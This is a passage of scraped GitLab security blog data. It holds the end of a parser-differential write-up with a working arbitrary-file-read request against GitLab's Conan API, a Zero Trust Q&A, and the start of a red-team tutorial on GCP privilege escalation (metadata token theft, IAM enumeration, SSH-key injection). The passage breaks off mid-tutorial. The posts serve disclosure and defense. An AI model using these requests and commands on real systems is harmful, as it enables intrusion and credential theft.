packages. In recap it would go as follows:\n\n```mermaid\nsequenceDiagram\n    participant User\n    participant workhorse\n    participant Rails\n    User->>workhorse: PUT request to conan registry\n    workhorse->>workhorse: Place uploaded file on disk and re-write PUT request\n    workhorse->>Rails: Pass on modified PUT request\n    Rails->>Rails: Pick up file from disk and store in UploadedFile\n```\n\nFrom an attacker perspective it would be nice to meddle with the modified `PUT` request, especially control over the `file.path` parameter would allow us to grab arbitrary files from `/tmp` and the defined `upload_paths`. But as `gitlab-workhorse` sits right in front of `gitlab-rails` we can't just pass those parameters or otherwise interact directly with `gitlab-rails` without going via `gitlab-workhorse`.\n\nWe can indeed achieve this by leveraging the fact that `gitlab-workhorse` parses the HTTP requests in a different way than `gitlab-rails` does. In particular, we can use [`Rack::MethodOverride`](https://www.rubydoc.info/gems/rack/Rack/MethodOverride) in `gitlab-rails` which is a default middleware in Ruby on Rails applications. The `Rack::MethodOverride` middleware allows us to send a `POST` request and let `gitlab-rails` know **\"well, actually this is a `PUT` request! ¯\\\\\\_(ツ)\\_/¯ \"**. With this little trick we can sneak past the `gitlab-workhorse` route which would intercept the `PUT` request, as `gitlab-workhorse` is not aware of the overridden `POST` method. So by specifying either a `_method=PUT` parameter or a `X-HTTP-METHOD-OVERRIDE: PUT` HTTP header we can indeed directly point `gitlab-rails` to files on disk. The method override is used a lot in Ruby on Rails applications to allow simple `\u003Cform>` based `POST` requests to use other [`REST`](https://de.wikipedia.org/wiki/Representational_State_Transfer)-based methods like `PUT` and `DELETE` by overriding the `\u003Cform>`s `POST` request with the `_method` parameter.\n\nSo a `POST` request to the right Conan endpoint with a `file.path` and `file.size` parameter will do the trick.\nA full request using this bypass would look like this:\n\n```\nPOST /api/v4/packages/conan/v1/files/Hello/0.1/lol+wat/beta/0/export/conanmanifest.txt?file.size=4&file.path=/tmp/test1234 HTTP/1.1\nHost: localhost\nUser-Agent: Conan/1.21.0 (Python 3.8.1) python-requests/2.22.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-HTTP-Method-Override: PUT\nX-Checksum-Deploy: true\nX-Checksum-Sha1: ee96149f7b93af931d4548e9562484bdb6ac8fda\nContent-Length: 4\nAuthorization: Bearer [.. shortened ..]\n\nasdf\n```\n\nThis would, instead of uploading a file, let us get a hold of the file `/tmp/test1234` from the GitLab server's file system. In recap, the flow to exploit this issue looks as follows:\n\n```mermaid\nsequenceDiagram\n    participant User\n    participant workhorse\n    participant Rails\n    User->>workhorse: POST request to conan registry\n    workhorse->>workhorse: Route does not match anything\n    workhorse->>Rails: Pass on unmodified POST request\n    Rails->>Rails: Interpret as PUT and pick up file from disk\n```\n\nWe fixed this issue within `gitlab-workhorse` by [signing Requests which pass `gitlab-workhorse`](https://gitlab.com/gitlab-org/gitlab-workhorse/-/commit/3a34323b104be89e92db49828268f0bfd831e75a), the signature then is verified on [the `gitlab-rails` side](https://gitlab.com/gitlab-org/gitlab/-/commit/043c664908e474f34e62e88365be0fc945f1d0b3)\n\n## How parser differentials can introduce vulnerabilities\n\nLet's take a huge step back and see from an high-level perspective what just happened. We've had `gitlab-workhorse` and `gitlab-rails` both looking at a `POST` request. But `gitlab-rails` ultimately saw a `PUT` request due to the overridden HTTP method.\n\nWhat occurred here is a case of a **parser differential**, as `gitlab-workhorse` and `gitlab-rails` parsed the incoming HTTP request differently. The term parser differential originates from the [Language-theoretic Security approach](http://langsec.org). It denotes the fact that two (or more) different parsers \"understand\" the very same message in a different way. Or, as described in the [LangSec handout](http://langsec.org/bof-handout.pdf) as follows:\n\n> Different interpretation of messages or data streams by components breaks any assumptions that components adhere to a shared specification and so introduces inconsistent state and unanticipated computation.\n\nIndeed such issues and the consequential _unanticipated computation_ get more and more common when we look at modern web environments. The days of web applications being a stand-alone bunch of scripts invoked on a web server are long gone. The rise of microservices leads to complex environments and the very same message (or HTTP request) might be interpreted by several different services in several different ways. Just as shown in the above example this sometimes comes along with security implications.\n\nFrom the point of view of a pragmatic bug hunter, the idea of parser differentials is very interesting as those issue can yield unique security bugs. Consider, for instance, this [RCE in couchdb](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html). Also the [HTTP desync attack technique](https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn), which has gotten a lot attention in the bug bounty community, is a matter of parser differentials.\n\nFor the developer perspective we need to be aware of other components and their parsing behavior in order to avoid security issues which arise from interpreting the same message differently.\n\nCover Photo by [Marta Branco](https://www.pexels.com/@martabranco?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels) on [Pexels](https://www.pexels.com/photo/closeup-photo-of-black-and-blue-keyboard-1194713/?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels)\n{: .note}\n",[14,1212],{"slug":4624,"featured":6,"template":677},"how-to-exploit-parser-differentials","content:en-us:blog:how-to-exploit-parser-differentials.yml","How To Exploit Parser Differentials","en-us/blog/how-to-exploit-parser-differentials.yml","en-us/blog/how-to-exploit-parser-differentials",{"_path":4630,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4631,"content":4637,"config":4642,"_id":4644,"_type":16,"title":4645,"_source":17,"_file":4646,"_stem":4647,"_extension":20},"/en-us/blog/questions-regarding-our-zero-trust-efforts",{"title":4632,"description":4633,"ogTitle":4632,"ogDescription":4633,"noIndex":6,"ogImage":4634,"ogUrl":4635,"ogSiteName":767,"ogType":768,"canonicalUrls":4635,"schema":4636},"We answer your most popular questions about our Zero Trust journey","From why we chose Okta to issues around data fluidity, here are answers to your most-asked ZT questions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681098/Blog/Hero%20Images/lysander-yuen-wk-ztn-unsplash.jpg","https://about.gitlab.com/blog/questions-regarding-our-zero-trust-efforts","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We answer your most popular questions about our Zero Trust journey\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2020-02-19\",\n      }",{"title":4632,"description":4633,"authors":4638,"heroImage":4634,"date":4639,"body":4640,"category":14,"tags":4641},[1909],"2020-02-19","\n\n_It’s been a busy few months since my last blog post on our Zero Trust efforts, [\"Zero Trust at GitLab: Where do we go from here?\"](/blog/zero-trust-at-gitlab-where-do-we-go-from-here/). Since then I’ve done a few [press interviews](https://www.digi.no/artikler/zero-trust-du-ikke-kan-basere-deg-bare-pa-en-leverandor-for-a-lose-det/484170) and spoken at security conferences (most recently at [ShmooCon 2020](https://www.shmoocon.org/speakers/#0trust)) on the topic of Zero Trust. I’ve been transparent about GitLab’s implementation of security and our pursuit of Zero Trust ideas. I received many questions about Zero Trust at ShmooCon, both at the end of the talk and in the hallways after. I thought I’d pass on a few of those questions with some answers since many people are interested in the actual implementation of the ideas. It’s also a good way to show what happens when a well-meaning concept meets harsh reality._\n\nWarning: Video contains some strong language\n{: .note}\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/vI7_M04qpJ4\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\nI discussed data classification challenges and specifically the fluidity of data in my ShmooCon talk and was met with a lot of hallway questions. More than one person asked for an example and wanted my opinion on how to classify the data. Hence this far-reaching question:\n\n### What do you mean that there are issues with the \"fluidity\" of data when it comes to data classification?\n\nIn an earlier blog post I did give an example of the fluidity of data, specifically when I talked about the movement of data in a section called (appropriately) [\"Movement of data\"](/blog/zero-trust-at-gitlab-the-data-classification-and-infrastructure-challenge/). Data fluidity is an issue because access to data is usually defined and enforced at the time of authentication. Waiting until the authentication stage causes problems if the data stays stationary while its classification changes rapidly. If you authenticate in the morning and have access to YELLOW data, but that data’s classification changes to RED in the afternoon, how do we enforce access controls if the user is only allowed access to YELLOW data? It is possible that you could move the data to a location intended for RED access only, or assign a user some type of access token specific to data based upon that data’s classification. But, you will need a solution that will scale and will additionally need to worry about whether data is being cloned, copied or archived. This is a question where it is much easier to explain the issue than solve it, and we are still looking for answers.\n\nThe concept of zones is a stop-gap until a better solution can be implemented. A data zone is comprised of data of different classifications, but with a single allow/deny method of access control. In other words, a data zone that contains both ORANGE and YELLOW data is ranked as an ORANGE ZONE since that is the highest level of data contained within it. Since we cannot specify granular access to the ORANGE ZONE resource, someone with YELLOW access cannot access the YELLOW data inside the ORANGE ZONE. The goal is to eliminate the zones so that we can define granular access to data. Most of the zones are set up to accommodate legacy systems into the data classification scheme and need to eventually be eliminated. This is, of course, a common problem in information technology – how do we move off of old systems onto new systems without disrupting existing processes and procedures. GitLab is very fortunate in that we have very few data zones compared to most companies, but it is always a problem when we encounter them.\n\nThe more advanced problem is that most technologies assign authorization to access data based upon the moment of initial user authentication. We want to eliminate data zones and we want to eliminate complexity. Making copies of data and storing a YELLOW version in one place and a RED version in another complicates things. Using an automated process that allows a non-privileged user to see privileged data also complicates things. The good news is that we are far enough in the Zero Trust process that we are dealing with this challenge. The bad news is we don’t have an answer yet but we’re still searching for something that works.\n\n\nWe get questions about our choice of vendors, mainly our choice of Okta as a major vendor for Zero Trust. Most organizations find it difficult to accept an approach where there is little or no competition in certain arenas, and in hallway conversations, people seemed alarmed that they’d be putting all of their digital eggs into a single digital basket. Some people have asked for an explanation as to why we are putting all of our end user identity in one basket:\n\n### You’re using Okta, what other tools did you look at? What didn’t meet your criteria?\n\nWe were looking for an [identity-management system](https://en.wikipedia.org/wiki/Identity-management_system) (IMS) that allows us to positively identify users during the authentication process. The IMS needed to have multi-factor authentication (MFA) capability and be able to support a lot of SaaS products. Okta gave us this and had a lot more features we’ve since started using. We also looked at products that mainly did MFA, but it was meeting those critical items along with a lot of extras we could take advantage of that clinched it.\n\nThe flexibility of Okta and the ability to implement something more than one way based upon user need was an unexpected benefit – MFA is an example. Some of our team members agreed to use U2F in the form of Yubikeys. This worked great, although some team members expressed concerns about possibly losing the keys or worried about the risk of leaving a low profile Yubikey plugged in all the time in case the entire laptop was lost or stolen. Since Okta’s MFA solutions also included the Okta Verify phone app that supported \"push\" technology, we could allow team members to have a choice in MFA methods. Team members could use the Yubikey or the push technology based upon what best suited their workflow, and we were able to get MFA implemented with team members actually using it. Allowing us to give team members a choice instead of simply forcing a method upon them leads to a happier adoption process, quicker overall implementation, and of course, a more secure work environment.\n\nMost vendors don’t offer the level of flexibility Okta does with their products or allow for that level of granularity with features when it comes to identity management, so there really were not a lot of other choices. Add in support for provisioning and de-provisioning for dozens of SaaS applications and it was obvious we’d get a great ROI.\n\n### How do you separate the hype from the fact when looking at Zero Trust?\n\nFirst off, for our implementation, we just identified what we wanted out of a security system that granted access to users, systems, and data. You can’t just say \"we want Zero Trust\" because every vendor claims to sell Zero Trust solutions. We used the [BeyondCorp paper](https://cloud.google.com/beyondcorp/) as an example of Google doing something for themselves, and not as a blueprint for us. We just looked for products that met our \"must-have\" list, and if it had a lot of \"nice to haves\" available that was great. It was even better if it had useful features we hadn’t even considered. So we ended up with Okta as a cornerstone for user identity and authentication, and now all products need to speak Okta, or at least support the protocols that Okta supports. That makes it easy, or at least easier to make things work together if we define a common bit of criteria - every solution must tie into Okta.\n\nThe hard part is that user identity and authentication is only one part of the picture. We need to do end-user device identity and authentication. We need to assign identity to running processes, including those kicked off by users, and those fully automated and triggered by events. And, getting into non-Zero Trust territory but still very much in line with our goals, we want to be able to audit all of our controls. We want to be able to log everything and search those logs for anomalies. Therefore we have to make sure that any Zero Trust solution can support auditing and logging.\n\n\n**What do you want to know? Do you have your own questions? Let us know!**\nWe’re still moving forward as our Zero Trust implementation is a work in progress. As we hit milestones, we will continue to update you with new blogs with hopefully new solutions and processes that work. Right now we’re deploying a solution for SSH by using Okta ASA, and we’re still tackling our asset management, so expect news from those fronts in upcoming blog posts!\n\n\n\nCover image by [Lysander Yuen](https://unsplash.com/@lysanderyuen?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com).\n{: .note}\n",[675,14,2132],{"slug":4643,"featured":6,"template":677},"questions-regarding-our-zero-trust-efforts","content:en-us:blog:questions-regarding-our-zero-trust-efforts.yml","Questions Regarding Our Zero Trust Efforts","en-us/blog/questions-regarding-our-zero-trust-efforts.yml","en-us/blog/questions-regarding-our-zero-trust-efforts",{"_path":4649,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":4650,"content":4656,"config":4662,"_id":4664,"_type":16,"title":4665,"_source":17,"_file":4666,"_stem":4667,"_extension":20},"/en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform",{"title":4651,"description":4652,"ogTitle":4651,"ogDescription":4652,"noIndex":6,"ogImage":4653,"ogUrl":4654,"ogSiteName":767,"ogType":768,"canonicalUrls":4654,"schema":4655},"Google Cloud privilege escalation & post-exploitation tactics","A Red Team exercise on exploiting design decisions on GCP.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672755/Blog/Hero%20Images/white-lightning-heating-mountain.jpg","https://about.gitlab.com/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chris Moberly\"}],\n        \"datePublished\": \"2020-02-12\",\n      }",{"title":4657,"description":4652,"authors":4658,"heroImage":4653,"date":4659,"body":4660,"category":14,"tags":4661},"Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments",[994],"2020-02-12","\n## Update\n\n_At GitLab we have an internal [Red Team](/handbook/security/threat-management/red-team/) that dedicates time looking at the services and business partners we use to deliver GitLab products and services. As a [Google Cloud customer,](/blog/moving-to-gcp/) we have an obvious interest in all the different ways that administrators can make devastating security related mistakes when configuring their environment. We also have a team goal of sharing our research and tooling when possible with the community. This blog post and our previous post, [Introducing Token Hunter, an open source tool for finding sensitive data in the vast, wide-open,](/blog/introducing-token-hunter/) are our attempts to share our knowledge with the broader security community - for our mutual benefit._\n\n_This post does not outline any new vulnerabilities in Google Cloud Platform but outlines ways that an attacker who has already gained an unprivileged foothold on a cloud instance may perform reconnaissance, privilege escalation and eventually complete compromise of an environment._\n\n## Introduction\n\nWe recently embarked on a journey to simulate malicious activity in Google Cloud Platform (GCP). The idea was to begin with the low-privilege compromise of a Linux virtual machine, and then attempt to escalate privileges and access sensitive data throughout the environment.\n\nThe problem? There just isn't a lot of information available about GCP written from an attacker's perspective. We set out to learn as much as we could about Google Cloud and how an attacker might work to abuse common design decisions. Now, we are sharing that information with you! I'll also be presenting this talk, [Plundering GCP – escalating privileges, moving laterally and stealing secrets in Google Cloud](https://www.bsidesmelbourne.com/2020-plundering-gcp.html), in March 2020 at BSides Melbourne.\n\nIn this tutorial, we will do a very deep-dive into manual post-exploitation tactics and techniques for GCP. The specific scenario we are addressing here is the compromise of a single Linux-based virtual machine running within the Compute Engine offering. The goal is to elevate local privileges to a root account, compromise other systems within the same Google Cloud [Project](https://cloud.google.com/storage/docs/projects), break out of that project into others, and even hop the fence over to G Suite if possible.\n\nWe'll also go into specific detail on how to interact with a slew of Google's cloud services to hunt for secrets and exfiltrate sensitive data.\n\nIf you're tasked with defending infrastructure in Google Cloud, this tutorial should give you a good idea of what an attacker may get up to and the types of activities you should be looking out for.\n\nThis blog also introduces several utilities targeting GCP environments:\n\n- [gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum): Generate targeted port scans for Compute Instances exposed to the internet.\n- [gcp_enum](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_enum): Most of the enumeration commands in this blog, consolidated to a single script.\n- [gcp_misc](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc): Various tools for attacking GCP environments.\n\n*No shell? No problem! Most of these techniques can used with SSRF as well. Check out the [Leveraging SSRF](#leveraging-ssrf) appendix for more info.*\n\n## Basic background info\n\nGCP is a big beast with a ton of moving parts. Here is a bit of background on items that are most relevant to the breach of a Compute Instance.\n\n### Tools\n\n#### gcloud\n\nIt is likely that the box you land on will have the [GCP SDK tools](https://cloud.google.com/sdk/docs/) installed and configured. A quick way to verify that things are set up is to run the following command:\n\n```\n$ gcloud config list\n```\n\nIf properly configured, you should get some output detailing the current service account and project in use.\n\nThe [gcloud command set](https://cloud.google.com/sdk/gcloud/reference/) is pretty extensive, supports tab completion, and has excellent online and built-in documentation. You can also install it locally on your own machine and use it with credential data that you obtain.\n\n#### Cloud APIs\n\nThe `gcloud` command is really just a way of automating [Google Cloud API](https://cloud.google.com/apis/docs/overview) calls. However, you can also perform them manually. Understanding the API endpoints and functionality can be very helpful when you're operating with a very specific set of permissions, and trying to work out exactly what you can do.\n\nYou can see what the raw HTTP API call for any individual `gcloud` command is simply by appending `--log-http` to the command.\n\n#### Metadata endpoint\n\nEvery Compute Instance has access to a dedicated [metadata server](https://cloud.google.com/compute/docs/storing-retrieving-metadata) via the IP address 169.254.169.254. You can identify it as a host file entry like the one below:\n\n```\n$ cat /etc/hosts\n[...]\n169.254.169.254 metadata.google.internal  # Added by Google\n```\n\nThis metadata server allows any processes running on the instance to query Google for information about the instance it runs on and the project it resides in. No authentication is required - default `curl` commands will suffice.\n\nFor example, the following command will return information specific to the Compute Instance it is run from.\n\n```\n$ curl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" \\\n    -H \"Metadata-Flavor: Google\"\n```\n\n### Security concepts\n\nWhat you can actually do from within a compromised instance is the resultant combination of service accounts, access scopes, and IAM permissions. These are described below.\n\n#### Resource hierarchy\n\nGoogle Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specfic attachment points for policies and permissions.\n\nAt a high level, it looks like this:\n\n```\nOrganization\n--> Folders\n  --> Projects\n    --> Resources\n```\n\nThe scenario this blog addresses is the compromise of a virtual machine (called a Compute Instance), which is a resource. This resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.\n\nWe will work to compromise as much as we can inside that project, and then eventually to branch out into other projects within the same organization. A full compromise of the organization itself would be great, but gaining access to confidential assets may be possible simply by exploring the resources in a single project.\n\n#### Service accounts\n\nVirtual machine instances are usually assigned a service account. Every GCP project has a [default service account](https://cloud.google.com/compute/docs/access/service-accounts#default_service_account), and this will be assigned to new Compute Instances unless otherwise specified. Administrators can choose to use either a custom account or no account at all. This service account can be used by any user or application on the machine to communicate with the Google APIs. You can run the following command to see what accounts are available to you:\n\n```\n$ gcloud auth list\n```\n\nDefault service accounts will look like one of the following:\n\n```\nPROJECT_NUMBER-compute@developer.gserviceaccount.com\nPROJECT_ID@appspot.gserviceaccount.com\n```\n\nMore savvy administrators will have configured a custom service account to use with the instance. This allows them to be more granular with permissions.\n\nA custom service account will look like this:\n\n```\nSERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com\n```\n\nIf `gcloud auth list` returns multiple accounts available, something interesting is going on. You should generally see only the service account. If there is more than one, you can cycle through each using `gcloud config set account [ACCOUNT]` while trying the various tasks in this blog.\n\n#### Access scopes\n\nThe service account on a GCP Compute Instance will use OAuth to communicate with the Google Cloud APIs. When [access scopes](https://cloud.google.com/compute/docs/access/service-accounts#accesscopesiam) are used, the OAuth token that is generated for the instance will have a [scope](https://oauth.net/2/scope/) limitation included. This defines what API endpoints it can authenticate to. It does NOT define the actual permissions.\n\nWhen using a custom service account, Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that access scopes are not used and to rely totally on IAM. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programatically.\n\nThere are three options when setting an access scope on a VM instance:\n- Allow default access\n- All full access to all cloud APIs\n- Set access for each API\n\nYou can see what scopes are assigned by querying the metadata URL. Here is an example from a VM with \"default\" access assigned:\n\n```\n$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes \\\n    -H 'Metadata-Flavor:Google'\n\nhttps://www.googleapis.com/auth/devstorage.read_only\nhttps://www.googleapis.com/auth/logging.write\nhttps://www.googleapis.com/auth/monitoring.write\nhttps://www.googleapis.com/auth/servicecontrol\nhttps://www.googleapis.com/auth/service.management.readonly\nhttps://www.googleapis.com/auth/trace.append\n```\n\nThe most interesting thing in the default scope is `devstorage.read_only`. This grants read access to all storage buckets in the project. This can be devastating, which of course is great for us as an attacker.\n\nHere is what you'll see from an instance with no scope limitations:\n\n```\n$ curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\nhttps://www.googleapis.com/auth/cloud-platform\n```\n\nThis `cloud-platform` scope is what we are really hoping for, as it will allow us to authenticate to any API function and leverage the full power of our assigned IAM permissions. It is also Google's recommendation as it forces administrators to choose only necessary permissions, and not to rely on access scopes as a barrier to an API endpoint.\n\nIt is possible to encounter some conflicts when using both IAM and access scopes. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.\n\n#### Identify and access management (IAM)\n\nIAM permissions are used for fine-grained access control. There are [a lot](https://cloud.google.com/iam/docs/permissions-reference) of them. The permissions are bundled together using three types of [roles](https://cloud.google.com/iam/docs/understanding-roles):\n\n- Primitive roles: Owner, Editor, and Viewer. These are the old-school way of doing things. The default service account in every project is assigned the Editor role. This is insecure and we love it.\n- Predefined roles: These roles are managed by Google and are meant to be combinations of most-likely scenarios. One of our favorites is the `compute.instanceAdmin` role, as it allows for easy privilege escalation.\n- Custom roles: This allows admins to group their own set of granular permissions.\n\nAs of this writing, there are 2,574 fine-grained permissions in IAM. These individual permissions are bundled together into a role. A role is connected to a member (user or service account) in what Google calls a [binding](https://cloud.google.com/iam/docs/reference/rest/v1/Policy#binding). Finally, this binding is applied at some level of the GCP hiearchy via a [policy](https://cloud.google.com/iam/docs/reference/rest/v1/Policy).\n\nThis policy determines what actions are allowed - it is the intersection between accounts, permissions, resources, and (optionally) conditions.\n\nYou can try the following command to specifically enumerate roles assigned to your service account project-wide in the current project:\n\n```\n$ PROJECT=$(curl http://metadata.google.internal/computeMetadata/v1/project/project-id \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ ACCOUNT=$(curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email \\\n    -H \"Metadata-Flavor: Google\" -s)\n$ gcloud projects get-iam-policy $PROJECT  \\\n    --flatten=\"bindings[].members\" \\\n    --format='table(bindings.role)' \\\n    --filter=\"bindings.members:$ACCOUNT\"\n```\n\nDon't worry too much if you get denied access to the command above. It's still possible to work out what you can do simply by trying to do it.\n\nMore generally, you can shorten the command to the following to get an idea of the roles assigned project-wide to all members.\n\n```\n$ gcloud projects get-iam-policy [PROJECT-ID]\n```\n\nOr to see the IAM policy [assigned to a single Compute Instance](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-iam-policy) you can try the following.\n\n```\n$ gcloud compute instances get-iam-policy [INSTANCE] --zone [ZONE]\n```\n\nThere are similar commands for various other APIs. Consult the documentation if you need one other than what is shown above.\n\n### Default credentials\n\n#### Default service account token\n\nThe metadata server available to a given instance will provide any user/process on that instance with an OAuth token that is automatically used as the default credentials when communicating with Google APIs via the `gcloud` command.\n\nYou can retrieve and inspect the token with the following curl command:\n\n```\n$ curl \"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\" \\\n    -H \"Metadata-Flavor: Google\"\n```\n\nWhich will receive a response like the following:\n\n```\n{\n      \"access_token\":\"ya29.AHES6ZRN3-HlhAPya30GnW_bHSb_QtAS08i85nHq39HE3C2LTrCARA\",\n      \"expires_in\":3599,\n      \"token_type\":\"Bearer\"\n }\n```\n\nThis token is the combination of the service account and access scopes assigned to the Compute Instance. So, even though your service account may have every IAM privilege imaginable, this particular OAuth token might be limited in the APIs it can communicate with due to access scopes.\n\n#### Application default credentials\n\nAs an alternative to first pulling a token from the metadata server, Google also has a strategy called [Application Default Credentials](https://cloud.google.com/docs/authentication/production). When using one of Google's official GCP client libraries, the code will automatically go searching for credentials to use in a defined order.\n\nThe very first location it would check would be the [source code itself](https://cloud.google.com/docs/authentication/production#passing_the_path_to_the_service_account_key_in_code). Developers can choose to statically point to a service account key file.\n\nThe next is an environment variable called `GOOGLE_APPLICATION_CREDENTIALS`. This can be set to point to a service account key file. Look for the variable itself set in the context of a system account or for references to setting it in scripts and instance metadata.\n\nFinally, if neither of these are provided, the application will revert to using the default token provided by the metadata server as described in the section above.\n\nFinding the actual JSON file with the service account credentials is generally much more desirable than relying on the OAuth token on the metadata server. This is because the raw service account credentials can be activated without the burden of access scopes and without the short expiration period usually applied to the tokens.\n\n## Local privilege escalation\n\nThis section will provide some tips on quick wins for local privilege escalation. If they work right away, great! While getting root locally seems like a logical starting point, though, hacking in the real world is rarely this organized. You may find that you need to jump ahead and grab additional secrets from a later step before you can escalate with these methods.\n\nDon't feel discouraged if you can't get local root right away - keep reading and follow the path that naturally unfolds.\n\n### Follow the scripts!\n\nCompute Instances are there to do things. To do things in Google, they will use their service accounts. And to do things with those service accounts, they likely use scripts!\n\nOften, we'll find ourselves on a Compute Instance and fail to enumerate things like available storage buckets, crypto keys, other instances, etc., due to permission denied errors. IAM permissions are very granular, meaning you can grant permissions to individual resources without granting the permission to list what those resources are.\n\nA great hypothetical example of this is a Compute Instance that has permission to read/write backups to a storage bucket called `instance82736-long-term-xyz-archive-0332893`.\n\nRunning `gsutil ls` from the command line returns nothing, as the service account is lacking the `storage.buckets.list` IAM permission. However, if you ran `gsutil ls gs://instance82736-long-term-xyz-archive-0332893` you may find a complete filesystem backup, giving you clear-text access to data that your local Linux account lacks.\n\nBut how would you know to list the contents of that very-specific bucket name? While brute-forcing buckets is a good idea, there is no way you'd find that in a word list.\n\nBut, the instance is somehow backing up to it. Probably using a script!\n\nLook for references to the `gcloud` command in scripts within the instance's metadata, local filesystem, service unit files, etc. You may also find Python, Ruby, PHP, etc scripts using their own [GCP client libraries](https://cloud.google.com/apis/docs/cloud-client-libraries) that leverage the service account's permissions to get things done.\n\nScripts in general help you understand what the machine is meant to do and will help you in identifying ways to abuse that intended functionality.\n\n### Modifying the metadata\n\nIf you can modify the instance's metadata, there are numerous ways to escalate privileges locally. There are a few scenarios that can lead to a service account with this permission:\n\n*Default service account*\u003Cbr>\nWhen using the default service account, the web management console offers the following options for access scopes:\n\n- Allow default access (default)\n- Allow full access to all Cloud APIs\n- Set access for each API\n\nIf option 2 was selected, or option 3 while explicitly allowing access to the compute API, then this configuration is vulnerable to escalation.\n\n*Custom service account*\u003Cbr>\nWhen using a custom service account, one of the following IAM permissions is necessary to escalate privileges:\n\n- compute.instances.setMetadata (to affect a single instance)\n- compute.projects.setCommonInstanceMetadata (to affect all instances in the project)\n\nAlthough Google [recommends](https://cloud.google.com/compute/docs/access/service-accounts#associating_a_service_account_to_an_instance) not using access scopes for custom service accounts, it is still possible to do so. You'll need one of the following access scopes:\n\n- https://www.googleapis.com/auth/compute\n- https://www.googleapis.com/auth/cloud-platform\n\n#### Add SSH keys to custom metadata\n\nLinux systems on GCP will typically be running [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts) scripts. One of these is the [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), which periodically queries the instance metadata endpoint for changes to the authorized SSH public keys.\n\nIf a new public key is encountered, it will be processed and added to the local machine. Depending on the format of the key, it will either be added to the `~/.ssh/authorized_keys` file of an existing user or will create a new user with `sudo` rights.\n\nSo, if you can modify custom instance metadata with your service account, you can escalate to root on the local system by gaining SSH rights to a privileged account. If you can modify custom project metadata, you can escalate to root on any system in the current GCP project that is running the accounts daemon.\n\n##### Add SSH key to existing privileged user\n\nLet's start by adding our own key to an existing account, as that will probably make the least noise. You'll want to be careful not to wipe out any keys that already exist in metadata, as that may tip your target off.\n\nCheck the instance for existing SSH keys. Pick one of these users as they are likely to have sudo rights.\n\n```\n$ gcloud compute instances describe [INSTANCE] --zone [ZONE]\n```\n\nLook for a section like the following:\n\n```\n ...\n metadata:\n   fingerprint: QCZfVTIlKgs=\n   items:\n   ...\n   - key: ssh-keys\n     value: |-\n       alice:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/SQup1eHdeP1qWQedaL64vc7j7hUUtMMvNALmiPfdVTAOIStPmBKx1eN5ozSySm5wFFsMNGXPp2ddlFQB5pYKYQHPwqRJp1CTPpwti+uPA6ZHcz3gJmyGsYNloT61DNdAuZybkpPlpHH0iMaurjhPk0wMQAMJUbWxhZ6TTTrxyDmS5BnO4AgrL2aK+peoZIwq5PLMmikRUyJSv0/cTX93PlQ4H+MtDHIvl9X2Al9JDXQ/Qhm+faui0AnS8usl2VcwLOw7aQRRUgyqbthg+jFAcjOtiuhaHJO9G1Jw8Cp0iy/NE8wT0/tj9smE1oTPhdI+TXMJdcwysgavMCE8FGzZ alice\n       bob:ssh-rsa 